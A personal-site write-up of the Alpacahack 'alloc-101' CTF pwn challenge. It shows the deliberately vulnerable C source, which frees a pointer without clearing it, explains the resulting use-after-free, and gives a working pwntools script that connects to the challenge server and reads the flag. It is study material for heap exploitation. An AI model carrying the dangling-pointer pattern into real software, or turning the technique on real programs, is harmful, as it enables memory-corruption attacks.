← writeups

Pwn · Easy · Alpacahack · Oct 31, 2026

alloc-101

Heap Exploitation, Use After Free (UAF)

  • HEAP
  • UAF

alloc-101

Heap Exploitation, Use After Free (UAF)

Recon

We got the source code, lets check it out.

bash
// gcc chal.c -o chal

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

char *item;

void menu() {
    puts("1. allocate");
    puts("2. free");
    puts("3. read");
    puts("4. allocate flag");
}

int main(void) {
    FILE *f_ptr = fopen("/flag.txt","r");
    if (f_ptr == NULL) {
        puts("open flag.txt failed. please open a ticket"); 
        exit(1);
    }
    fseek(f_ptr,0,SEEK_END);
    long f_sz = ftell(f_ptr);
    printf("file information: %ld bytes\n",f_sz);
    fseek(f_ptr,0,SEEK_SET);
    menu();
    while(1) {
        int choice;
        printf("choice> ");
        scanf("%d%*c",&choice);
        switch(choice) {
            case 1: {
                printf("size> ");
                int size;
                scanf("%d%*c",&size);
                item = malloc(size);
                printf("[DEBUG] item: %p\n",item);
            }
            break;
            case 2: {
                assert(item != NULL);
                free(item);
                //item == NULL;
            }
            break;
            case 3: {
                assert(item != NULL);
                puts(item);
            }
            break;
            case 4: {
                char *flag = malloc(f_sz);
                printf("[DEBUG] flag: %p\n",flag);
                fgets(flag,f_sz,f_ptr);
            }
            break;
            default: {
                exit(0);
            }
        }
    }
}

__attribute__((constructor))
void setup() {
    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
}

Vulnerability

Okay thankfully this is a simple heap exploitation with Use After Free technique.

Because as we can see in my screenshot that I mark the important one:

image.png

For the first red its the important thing, it leaks the flag size. Which is we need it so we can use the Use After Free technique exploitation. Because the case 3 prints the item variable, the case 2 only free the item variable, the program doesn’t NULL the variable, so we can use the freed variable to store the flag. How? Luckly this time we can control the item variable and we know the flag size, and the case 4 its the time that flag allocated, but the size already leaked so its easy to take over.

UAF is reusing a variable that already freed with the same size.

Exploit plan

So the plan is we take the flag size leak first:

jsx
    r.recvuntil(b'information: ')
    sizenya = int(r.recvline().strip().strip(b' bytes'))
    log.success(f'Flag size: {sizenya}')

We success to store the flag size locally.

image.png

Now we use the UAF technique.

jsx
    def choice(payload):
        r.recvuntil(b'choice> ')
        r.sendline(payload)
    choice(b'1')
    r.sendlineafter(b'size> ', str(sizenya).encode())
    choice(b'2')

Basically its make the item variable with the size same as flag sizeand then freed it so after we allocate flag, the flag will be alocated at item variable, that’s how UAF works. So now we can read the item variable to reveal the flag. Just add this:

jsx
    choice(b'4')
    choice(b'3')

Okay we got the flag locally, lets remote it.

image.png

Got it.

image.png

Exploit

python
#!/usr/bin/env python3

from pwn import *

elf = ELF("chall_patched")

context.binary = elf
context.terminal = ["ghostty", "-e"]
# Use the portable pwndbg bundle (/usr/local/bin/pwndbg) as the gdb pwntools launches.
# It ships its own gdb+python and loads pwndbg itself, so there is no gdbinit.py to source.
context.gdb_binary = "pwndbg"

if args.DEBUG:
    context.log_level = "debug"

gdbscript = """
set pagination off
set confirm off

break main
continue
"""

def conn():
    if args.GDB:
        r = process([elf.path])
        gdb.attach(r, gdbscript=gdbscript)
        return r

    if args.LOCAL:
        return process([elf.path])

    return remote("34.170.146.252", 22226) 

def main():
    r = conn()
    r.recvuntil(b'information: ')
    sizenya = int(r.recvline().strip().strip(b' bytes'))
    log.success(f'Flag size: {sizenya}')
    def choice(payload):
        r.recvuntil(b'choice> ')
        r.sendline(payload)
    choice(b'1')
    r.sendlineafter(b'size> ', str(sizenya).encode())
    choice(b'2')
    choice(b'4')
    choice(b'3')
    
    # payload = flat({})
    # r.sendline(payload)

    # good luck pwning :)
    r.interactive()

if __name__ == "__main__":
    main()

flag

export & files

all writeups →

0x06 / contact

Say hi.

CTF team invites, collabs, or a challenge you think I can't pwn. I read everything.

Elang Dimas Syadewa

available · Malang

    Open email

    Your email app will open with a draft. Review it and press Send there.